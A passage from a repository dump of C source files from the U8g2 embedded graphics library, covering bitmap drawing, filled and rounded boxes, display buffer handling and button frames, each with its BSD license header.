    "content": "/*\n\n  u8g2_bitmap.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n#include \"u8g2.h\"\n\n\nvoid u8g2_SetBitmapMode(u8g2_t *u8g2, uint8_t is_transparent) {\n  u8g2->bitmap_transparency = is_transparent;\n}\n\n/*\n  x,y \tPosition on the display\n  len\t\tLength of bitmap line in pixel. Note: This differs from u8glib which had a bytecount here.\n  b\t\tPointer to the bitmap line.\n  Only draw pixels which are set.\n*/\n\nvoid u8g2_DrawHorizontalBitmap(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, const uint8_t *b)\n{\n  uint8_t mask;\n  uint8_t color = u8g2->draw_color;\n  uint8_t ncolor = (color == 0 ? 1 : 0);\n\n#ifdef U8G2_WITH_INTERSECTION\n  if ( u8g2_IsIntersection(u8g2, x, y, x+len, y+1) == 0 ) \n    return;\n#endif /* U8G2_WITH_INTERSECTION */\n  \n  mask = 128;\n  while(len > 0)\n  {\n    if ( *b & mask ) {\n      u8g2->draw_color = color;\n      u8g2_DrawHVLine(u8g2, x, y, 1, 0);\n    } else if ( u8g2->bitmap_transparency == 0 ) {\n      u8g2->draw_color = ncolor;\n      u8g2_DrawHVLine(u8g2, x, y, 1, 0);\n    }\n\n    x++;\n    mask >>= 1;\n    if ( mask == 0 )\n    {\n      mask = 128;\n      b++;\n    }\n    len--;\n  }\n  u8g2->draw_color = color;\n}\n\n\n/* u8glib compatible bitmap draw function */\nvoid u8g2_DrawBitmap(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t cnt, u8g2_uint_t h, const uint8_t *bitmap)\n{\n  u8g2_uint_t w;\n  w = cnt;\n  w *= 8;\n#ifdef U8G2_WITH_INTERSECTION\n  if ( u8g2_IsIntersection(u8g2, x, y, x+w, y+h) == 0 ) \n    return;\n#endif /* U8G2_WITH_INTERSECTION */\n  \n  while( h > 0 )\n  {\n    u8g2_DrawHorizontalBitmap(u8g2, x, y, w, bitmap);\n    bitmap += cnt;\n    y++;\n    h--;\n  }\n}\n\n\n\nvoid u8g2_DrawHXBM(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, const uint8_t *b)\n{\n  uint8_t mask;\n  uint8_t color = u8g2->draw_color;\n  uint8_t ncolor = (color == 0 ? 1 : 0);\n#ifdef U8G2_WITH_INTERSECTION\n  if ( u8g2_IsIntersection(u8g2, x, y, x+len, y+1) == 0 ) \n    return;\n#endif /* U8G2_WITH_INTERSECTION */\n  \n  mask = 1;\n  while(len > 0) {\n    if ( *b & mask ) {\n      u8g2->draw_color = color;\n      u8g2_DrawHVLine(u8g2, x, y, 1, 0);\n    } else if ( u8g2->bitmap_transparency == 0 ) {\n      u8g2->draw_color = ncolor;\n      u8g2_DrawHVLine(u8g2, x, y, 1, 0);\n    }\n    x++;\n    mask <<= 1;\n    if ( mask == 0 )\n    {\n      mask = 1;\n      b++;\n    }\n    len--;\n  }\n  u8g2->draw_color = color;\n}\n\n\nvoid u8g2_DrawXBM(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, const uint8_t *bitmap)\n{\n  u8g2_uint_t blen;\n  blen = w;\n  blen += 7;\n  blen >>= 3;\n#ifdef U8G2_WITH_INTERSECTION\n  if ( u8g2_IsIntersection(u8g2, x, y, x+w, y+h) == 0 ) \n    return;\n#endif /* U8G2_WITH_INTERSECTION */\n  \n  while( h > 0 )\n  {\n    u8g2_DrawHXBM(u8g2, x, y, w, bitmap);\n    bitmap += blen;\n    y++;\n    h--;\n  }\n}\n\n\n\n\n\n\nvoid u8g2_DrawHXBMP(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t len, const uint8_t *b)\n{\n  uint8_t mask;\n  uint8_t color = u8g2->draw_color;\n  uint8_t ncolor = (color == 0 ? 1 : 0);\n#ifdef U8G2_WITH_INTERSECTION\n  if ( u8g2_IsIntersection(u8g2, x, y, x+len, y+1) == 0 ) \n    return;\n#endif /* U8G2_WITH_INTERSECTION */\n  \n  mask = 1;\n  while(len > 0)\n  {\n    if( u8x8_pgm_read(b) & mask ) {\n      u8g2->draw_color = color;\n      u8g2_DrawHVLine(u8g2, x, y, 1, 0);\n    } else if( u8g2->bitmap_transparency == 0 ) {\n      u8g2->draw_color = ncolor;\n      u8g2_DrawHVLine(u8g2, x, y, 1, 0);\n    }\n   \n    x++;\n    mask <<= 1;\n    if ( mask == 0 )\n    {\n      mask = 1;\n      b++;\n    }\n    len--;\n  }\n  u8g2->draw_color = color;\n}\n\n\nvoid u8g2_DrawXBMP(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, const uint8_t *bitmap)\n{\n  u8g2_uint_t blen;\n  blen = w;\n  blen += 7;\n  blen >>= 3;\n#ifdef U8G2_WITH_INTERSECTION\n  if ( u8g2_IsIntersection(u8g2, x, y, x+w, y+h) == 0 ) \n    return;\n#endif /* U8G2_WITH_INTERSECTION */\n  \n  while( h > 0 )\n  {\n    u8g2_DrawHXBMP(u8g2, x, y, w, bitmap);\n    bitmap += blen;\n    y++;\n    h--;\n  }\n}\n\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_box.c",
    "content": "/*\n\n  u8g2_box.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n#include \"u8g2.h\"\n\n/*\n  draw a filled box\n  restriction: does not work for w = 0 or h = 0\n*/\nvoid u8g2_DrawBox(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h)\n{\n#ifdef U8G2_WITH_INTERSECTION\n  if ( u8g2_IsIntersection(u8g2, x, y, x+w, y+h) == 0 ) \n    return;\n#endif /* U8G2_WITH_INTERSECTION */\n  while( h != 0 )\n  { \n    u8g2_DrawHVLine(u8g2, x, y, w, 0);\n    y++;    \n    h--;\n  }\n}\n\n\n/*\n  draw a frame (empty box)\n  restriction: does not work for w = 0 or h = 0\n*/\nvoid u8g2_DrawFrame(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h)\n{\n  u8g2_uint_t xtmp = x;\n  \n#ifdef U8G2_WITH_INTERSECTION\n  if ( u8g2_IsIntersection(u8g2, x, y, x+w, y+h) == 0 ) \n    return;\n#endif /* U8G2_WITH_INTERSECTION */\n  \n  u8g2_DrawHVLine(u8g2, x, y, w, 0);\n  if (h >= 2) {\n    h-=2;\n    y++;\n    if (h > 0) {\n      u8g2_DrawHVLine(u8g2, x, y, h, 1);\n      x+=w;\n      x--;\n      u8g2_DrawHVLine(u8g2, x, y, h, 1);\n      y+=h;\n    }\n    u8g2_DrawHVLine(u8g2, xtmp, y, w, 0);\n  }\n}\n\n\n\n\nvoid u8g2_DrawRBox(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, u8g2_uint_t r)\n{\n  u8g2_uint_t xl, yu;\n  u8g2_uint_t yl, xr;\n\n#ifdef U8G2_WITH_INTERSECTION\n  if ( u8g2_IsIntersection(u8g2, x, y, x+w, y+h) == 0 ) \n    return;\n#endif /* U8G2_WITH_INTERSECTION */\n\n  xl = x;\n  xl += r;\n  yu = y;\n  yu += r;\n \n  xr = x;\n  xr += w;\n  xr -= r;\n  xr -= 1;\n  \n  yl = y;\n  yl += h;\n  yl -= r; \n  yl -= 1;\n\n  u8g2_DrawDisc(u8g2, xl, yu, r, U8G2_DRAW_UPPER_LEFT);\n  u8g2_DrawDisc(u8g2, xr, yu, r, U8G2_DRAW_UPPER_RIGHT);\n  u8g2_DrawDisc(u8g2, xl, yl, r, U8G2_DRAW_LOWER_LEFT);\n  u8g2_DrawDisc(u8g2, xr, yl, r, U8G2_DRAW_LOWER_RIGHT);\n\n  {\n    u8g2_uint_t ww, hh;\n\n    ww = w;\n    ww -= r;\n    ww -= r;\n    xl++;\n    yu++;\n    \n    if ( ww >= 3 )\n    {\n      ww -= 2;\n      u8g2_DrawBox(u8g2, xl, y, ww, r+1);\n      u8g2_DrawBox(u8g2, xl, yl, ww, r+1);\n    }\n    \n    hh = h;\n    hh -= r;\n    hh -= r;\n    //h--;\n    if ( hh >= 3 )\n    {\n      hh -= 2;\n      u8g2_DrawBox(u8g2, x, yu, w, hh);\n    }\n  }\n}\n\n\nvoid u8g2_DrawRFrame(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t h, u8g2_uint_t r)\n{\n  u8g2_uint_t xl, yu;\n\n#ifdef U8G2_WITH_INTERSECTION\n  if ( u8g2_IsIntersection(u8g2, x, y, x+w, y+h) == 0 ) \n    return;\n#endif /* U8G2_WITH_INTERSECTION */\n\n  xl = x;\n  xl += r;\n  yu = y;\n  yu += r;\n \n  {\n    u8g2_uint_t yl, xr;\n      \n    xr = x;\n    xr += w;\n    xr -= r;\n    xr -= 1;\n    \n    yl = y;\n    yl += h;\n    yl -= r; \n    yl -= 1;\n\n    u8g2_DrawCircle(u8g2, xl, yu, r, U8G2_DRAW_UPPER_LEFT);\n    u8g2_DrawCircle(u8g2, xr, yu, r, U8G2_DRAW_UPPER_RIGHT);\n    u8g2_DrawCircle(u8g2, xl, yl, r, U8G2_DRAW_LOWER_LEFT);\n    u8g2_DrawCircle(u8g2, xr, yl, r, U8G2_DRAW_LOWER_RIGHT);\n  }\n\n  {\n    u8g2_uint_t ww, hh;\n\n    ww = w;\n    ww -= r;\n    ww -= r;\n    hh = h;\n    hh -= r;\n    hh -= r;\n    \n    xl++;\n    yu++;\n    \n    if ( ww >= 3 )\n    {\n      ww -= 2;\n      h--;\n      u8g2_DrawHLine(u8g2, xl, y, ww);\n      u8g2_DrawHLine(u8g2, xl, y+h, ww);\n    }\n    \n    if ( hh >= 3 )\n    {\n      hh -= 2;\n      w--;\n      u8g2_DrawVLine(u8g2, x, yu, hh);\n      u8g2_DrawVLine(u8g2, x+w, yu, hh);\n    }\n  }\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_buffer.c",
    "content": "/* \n\n  u8g2_buffer.c \n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n#include \"u8g2.h\"\n#include <string.h>\n\n/*============================================*/\nvoid u8g2_ClearBuffer(u8g2_t *u8g2)\n{\n  size_t cnt;\n  cnt = u8g2_GetU8x8(u8g2)->display_info->tile_width;\n  cnt *= u8g2->tile_buf_height;\n  cnt *= 8;\n  memset(u8g2->tile_buf_ptr, 0, cnt);\n}\n\n/*============================================*/\n\nstatic void u8g2_send_tile_row(u8g2_t *u8g2, uint8_t src_tile_row, uint8_t dest_tile_row)\n{\n  uint8_t *ptr;\n  uint16_t offset;\n  uint8_t w;\n  \n  w = u8g2_GetU8x8(u8g2)->display_info->tile_width;\n  offset = src_tile_row;\n  ptr = u8g2->tile_buf_ptr;\n  offset *= w;\n  offset *= 8;\n  ptr += offset;\n  u8x8_DrawTile(u8g2_GetU8x8(u8g2), 0, dest_tile_row, w, ptr);\n}\n\n/* \n  write the buffer to the display RAM. \n  For most displays, this will make the content visible to the user.\n  Some displays (like the SSD1606) require a u8x8_RefreshDisplay()\n*/\nstatic void u8g2_send_buffer(u8g2_t *u8g2) U8X8_NOINLINE;\nstatic void u8g2_send_buffer(u8g2_t *u8g2)\n{\n  uint8_t src_row;\n  uint8_t src_max;\n  uint8_t dest_row;\n  uint8_t dest_max;\n\n  src_row = 0;\n  src_max = u8g2->tile_buf_height;\n  dest_row = u8g2->tile_curr_row;\n  dest_max = u8g2_GetU8x8(u8g2)->display_info->tile_height;\n  \n  do\n  {\n    u8g2_send_tile_row(u8g2, src_row, dest_row);\n    src_row++;\n    dest_row++;\n  } while( src_row < src_max && dest_row < dest_max );\n}\n\n/* same as u8g2_send_buffer but also send the DISPLAY_REFRESH message (used by SSD1606) */\nvoid u8g2_SendBuffer(u8g2_t *u8g2)\n{\n  u8g2_send_buffer(u8g2);\n  u8x8_RefreshDisplay( u8g2_GetU8x8(u8g2) );  \n}\n\n/*============================================*/\nvoid u8g2_SetBufferCurrTileRow(u8g2_t *u8g2, uint8_t row)\n{\n  u8g2->tile_curr_row = row;\n  u8g2->cb->update_dimension(u8g2);\n  u8g2->cb->update_page_win(u8g2);\n}\n\nvoid u8g2_FirstPage(u8g2_t *u8g2)\n{\n  if ( u8g2->is_auto_page_clear )\n  {\n    u8g2_ClearBuffer(u8g2);\n  }\n  u8g2_SetBufferCurrTileRow(u8g2, 0);\n}\n\nuint8_t u8g2_NextPage(u8g2_t *u8g2)\n{\n  uint8_t row;\n  u8g2_send_buffer(u8g2);\n  row = u8g2->tile_curr_row;\n  row += u8g2->tile_buf_height;\n  if ( row >= u8g2_GetU8x8(u8g2)->display_info->tile_height )\n  {\n    u8x8_RefreshDisplay( u8g2_GetU8x8(u8g2) );\n    return 0;\n  }\n  if ( u8g2->is_auto_page_clear )\n  {\n    u8g2_ClearBuffer(u8g2);\n  }\n  u8g2_SetBufferCurrTileRow(u8g2, row);\n  return 1;\n}\n\n\n\n/*============================================*/\n/*\n  Description:\n    Update a sub area of the display, given by tile position, width and height.\n    The arguments are \"tile\" coordinates. Any u8g2 rotation is ignored.\n    This procedure only checks whether full buffer mode is active.\n    There is no error checking for the arguments: It is the responsibility of the\n    user to ensure, that the provided arguments are correct.\n\n  Limitations:\n    - Only available in full buffer mode (will not do anything in page mode)\n    - Tile positions and sizes (pixel position divided by 8)\n    - Any display rotation/mirror is ignored\n    - Only works with displays, which support U8x8 API\n    - Will not send the e-paper refresh message (will probably not work with e-paper devices)\n*/\nvoid u8g2_UpdateDisplayArea(u8g2_t *u8g2, uint8_t  tx, uint8_t ty, uint8_t tw, uint8_t th)\n{\n  uint16_t page_size;\n  uint8_t *ptr;\n  \n  /* check, whether we are in full buffer mode */\n  if ( u8g2->tile_buf_height != u8g2_GetU8x8(u8g2)->display_info->tile_height )\n    return; /* not in full buffer mode, do nothing */\n\n  page_size = u8g2->pixel_buf_width;  /* 8*u8g2->u8g2_GetU8x8(u8g2)->display_info->tile_width */\n    \n  ptr = u8g2_GetBufferPtr(u8g2);\n  ptr += tx*8;\n  ptr += page_size*ty;\n  \n  while( th > 0 )\n  {\n    u8x8_DrawTile( u8g2_GetU8x8(u8g2), tx, ty, tw, ptr );\n    ptr += page_size;\n    ty++;\n    th--;\n  }  \n}\n\n/* same as sendBuffer, but does not send the ePaper refresh message */\nvoid u8g2_UpdateDisplay(u8g2_t *u8g2)\n{\n  u8g2_send_buffer(u8g2);\n}\n\n\n/*============================================*/\n\n/* vertical_top memory architecture */\nvoid u8g2_WriteBufferPBM(u8g2_t *u8g2, void (*out)(const char *s))\n{\n  u8x8_capture_write_pbm_pre(u8g2_GetBufferTileWidth(u8g2), u8g2_GetBufferTileHeight(u8g2), out);\n  u8x8_capture_write_pbm_buffer(u8g2_GetBufferPtr(u8g2), u8g2_GetBufferTileWidth(u8g2), u8g2_GetBufferTileHeight(u8g2), u8x8_capture_get_pixel_1, out);\n}\n\nvoid u8g2_WriteBufferXBM(u8g2_t *u8g2, void (*out)(const char *s))\n{\n  u8x8_capture_write_xbm_pre(u8g2_GetBufferTileWidth(u8g2), u8g2_GetBufferTileHeight(u8g2), out);\n  u8x8_capture_write_xbm_buffer(u8g2_GetBufferPtr(u8g2), u8g2_GetBufferTileWidth(u8g2), u8g2_GetBufferTileHeight(u8g2), u8x8_capture_get_pixel_1, out);\n}\n\n\n/* horizontal right memory architecture */\n/* SH1122, LD7032, ST7920, ST7986, LC7981, T6963, SED1330, RA8835, MAX7219, LS0 */ \nvoid u8g2_WriteBufferPBM2(u8g2_t *u8g2, void (*out)(const char *s))\n{\n  u8x8_capture_write_pbm_pre(u8g2_GetBufferTileWidth(u8g2), u8g2_GetBufferTileHeight(u8g2), out);\n  u8x8_capture_write_pbm_buffer(u8g2_GetBufferPtr(u8g2), u8g2_GetBufferTileWidth(u8g2), u8g2_GetBufferTileHeight(u8g2), u8x8_capture_get_pixel_2, out);\n}\n\nvoid u8g2_WriteBufferXBM2(u8g2_t *u8g2, void (*out)(const char *s))\n{\n  u8x8_capture_write_xbm_pre(u8g2_GetBufferTileWidth(u8g2), u8g2_GetBufferTileHeight(u8g2), out);\n  u8x8_capture_write_xbm_buffer(u8g2_GetBufferPtr(u8g2), u8g2_GetBufferTileWidth(u8g2), u8g2_GetBufferTileHeight(u8g2), u8x8_capture_get_pixel_2, out);\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8g2_button.c",
    "content": "/*\n\n  u8g2_button.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n#include \"u8g2.h\"\n\n\n/*\n\n  Description: \n    Draws normal or inverted text with optional frame around text.\n    The text (and the frame) can be horizontally centered around the provided reference position.\n    This procedure will use the current draw color and current font. The height of the frame\n    depends on the setting of setFontRefHeightText(), setFontRefHeightExtendedText() or setFontRefHeightAll()\n\n\n  Note 1: drawColor 2 (XOR) is not supported. Result will be broken with draw color 2.\n  Note 2: This procedure will enforce font mode 1 (transparent mode)\n  Note 3: Some fonts may add an extra gap on the right side. This is a font problem and can not be avoided (for example inb16 has this problem).\n  \n\n  The height of the button is defined by the current font and\n    setFontRefHeightText,\n    setFontRefHeightExtendedText\n    setFontRefHeightAll\n  Right padding might be influenced by the font.\n  For example u8g2_font_inb16 may add an extra pixel gap (increase padding by one) \n  on the right side.\n  The current draw color is considered, but only draw color 0 and 1 are supported\n  \n  This function requires transparent font mode: setFontMode(1)\n  \n  Side effect: Font transparent mode is enabled setFontMode(1)\n\n*/\n\n\n\n/*\n\n  flags:\n\n    U8G2_BTN_BW1 0x01\n    U8G2_BTN_BW2 0x02\n    U8G2_BTN_BW3 0x03\n\n\n    U8G2_BTN_SHADOW0 0x08\n    U8G2_BTN_SHADOW1 0x10\n    U8G2_BTN_SHADOW2 0x18\n\n    U8G2_BTN_INV 0x20\n\n    U8G2_BTN_HCENTER 0x40\n\n    U8G2_BTN_XFRAME 0x80\n\n  Total size without shadow: width+2*padding_h+2*border\n  Total size with U8G2_BTN_SHADOW0: width+2*padding_h+3*border\n  Total size with U8G2_BTN_SHADOW1: width+2*padding_h+3*border+1\n  Total size with U8G2_BTN_SHADOW2: width+2*padding_h+3*border+2\n  \n  U8G2_BTN_XFRAME:\n    draw another one pixel frame with one pixel gap, will not look good with shadow\n*/\n\nvoid u8g2_DrawButtonFrame(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t flags, u8g2_uint_t text_width, u8g2_uint_t padding_h, u8g2_uint_t padding_v)\n{\n  u8g2_uint_t w = text_width;\n  \n  u8g2_uint_t xx, yy, ww, hh;\n  \n  u8g2_uint_t gap_frame = U8G2_BTN_BW_MASK+1;\n    \n  u8g2_uint_t border_width = flags & U8G2_BTN_BW_MASK;\n\n  int8_t a = u8g2_GetAscent(u8g2);\n  int8_t d = u8g2_GetDescent(u8g2);\n  \n  uint8_t color_backup = u8g2->draw_color;\n  \n  \n  if ( flags & U8G2_BTN_XFRAME )\n  {\n    border_width++;\n    gap_frame = border_width;\n    border_width++;\n  }\n  \n\n  \n  for(;;)\n  {\n\n    xx = x;\n    xx -= padding_h;\n    xx -= border_width;\n    ww = w+2*padding_h+2*border_width;\n    \n    yy = y;\n    yy += u8g2->font_calc_vref(u8g2);\n    yy -= a;\n    yy -= padding_v;\n    yy -= border_width;\n    hh = a-d+2*padding_v+2*border_width;\n    if ( border_width == 0 )\n      break;\n    if ( border_width == gap_frame )\n    {\n      u8g2_SetDrawColor(u8g2, color_backup == 0 ? 1 : 0);\n    }\n    u8g2_DrawFrame(u8g2, xx, yy, ww, hh);\n    u8g2_SetDrawColor(u8g2, color_backup);\n    \n    if ( flags & U8G2_BTN_SHADOW_MASK )\n    {\n      if ( border_width == (flags & U8G2_BTN_BW_MASK) )\n      {\n        u8g2_uint_t i;\n        u8g2_uint_t shadow_gap = (flags & U8G2_BTN_SHADOW_MASK) >> U8G2_BTN_SHADOW_POS;\n        shadow_gap--;\n        for( i = 0; i < border_width; i++ )\n        {\n          u8g2_DrawHLine(u8g2, xx+border_width+shadow_gap,yy+hh+i+shadow_gap,ww);\n          u8g2_DrawVLine(u8g2, xx+ww+i+shadow_gap,yy+border_width+shadow_gap,hh);\n        }\n      }\n    }\n    border_width--;\n  } /* for */\n  \n  if ( flags & U8G2_BTN_INV )\n  {\n    u8g2_SetDrawColor(u8g2, 2);         /* XOR */\n    u8g2_DrawBox(u8g2, xx, yy, ww, hh);\n    u8g2_SetDrawColor(u8g2, color_backup);\n  }\n}\n\nvoid u8g2_DrawButtonUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t flags, u8g2_uint_t width, u8g2_uint_t padding_h, u8g2_uint_t padding_v, const char *text)\n{\n  u8g2_uint_t w = u8g2_GetUTF8Width(u8g2, text);\n  \n  u8g2_uint_t text_x_offset = 0; \n\n  if ( flags & U8G2_BTN_HCENTER )\n    x -= (w+1)/2;\n\n  if ( w < width )\n  {\n    if ( flags & U8G2_BTN_HCENTER )\n    {\n      text_x_offset = (width-w)/2;\n    }\n    w = width;\n  }\n  \n  u8g2_SetFontMode(u8g2, 1);    \n  u8g2_DrawUTF8(u8g2, x,y, text);\n  u8g2_DrawButtonFrame(u8g2, x-text_x_offset, y, flags, w, padding_h, padding_v);\n  \n}\n\n\n\n#ifdef NOT_USED\nvoid u8g2_Draw4Pixel(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w)\n{\n  u8g2_DrawPixel(u8g2, x,y-1);\n  u8g2_DrawPixel(u8g2, x+w-1,y-1);\n  u8g2_DrawPixel(u8g2, x+w-1,y-w);\n  u8g2_DrawPixel(u8g2, x,y-w);\n}\n\nvoid u8g2_DrawRadio(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t w, u8g2_uint_t is_checked)\n{\n  uint8_t color_backup = u8g2->draw_color;\n  u8g2_DrawCheckbox(u8g2, x,y,w,is_checked);\n  u8g2_SetDrawColor(u8g2, 2);\n  u8g2_Draw4Pixel(u8g2, x,y,w);\n  if ( is_checked )\n  {\n    //u8g2_Draw4Pixel(u8g2, x+2,y-2,w-4);\n  }\n  \n  u8g2_SetDrawColor(u8g2, color_backup );\n}\n#endif\n \n\n#ifdef _THIS_CODE_SHOULD_BE_REWRITTEN_WITHOUT_PADWIDTH_\n\n/*\n  Shadow is not supported\n  Note: radius must be at least as high as the border width\n\n  border width | good radius values\n  1             | 3, 5, 7, 8, ...\n  2             | 3, 5, 7, 8, ...\n  \n*/\n\nvoid u8g2_DrawRButtonUTF8(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8g2_uint_t flags, u8g2_uint_t padding_h_or_width, u8g2_uint_t padding_v, u8g2_uint_t r, const char *text)\n{\n  u8g2_uint_t w = u8g2_GetUTF8Width(u8g2, text);\n  //u8g2_uint_t w = u8g2_GetExactStrWidth(u8g2, text);\n  \n  u8g2_uint_t xx, yy, ww, hh;\n  \n  u8g2_uint_t border_width = flags & U8G2_BTN_BW_MASK;\n  u8g2_uint_t padding_h = padding_h_or_width;\n  u8g2_uint_t text_x_offset = 0;        // used for U8G2_BTN_PADWIDTH mode\n\n  int8_t a = u8g2_GetAscent(u8g2);\n  int8_t d = u8g2_GetDescent(u8g2);\n  uint8_t color_backup = u8g2->draw_color;\n\n\n  if ( flags & U8G2_BTN_HCENTER )\n    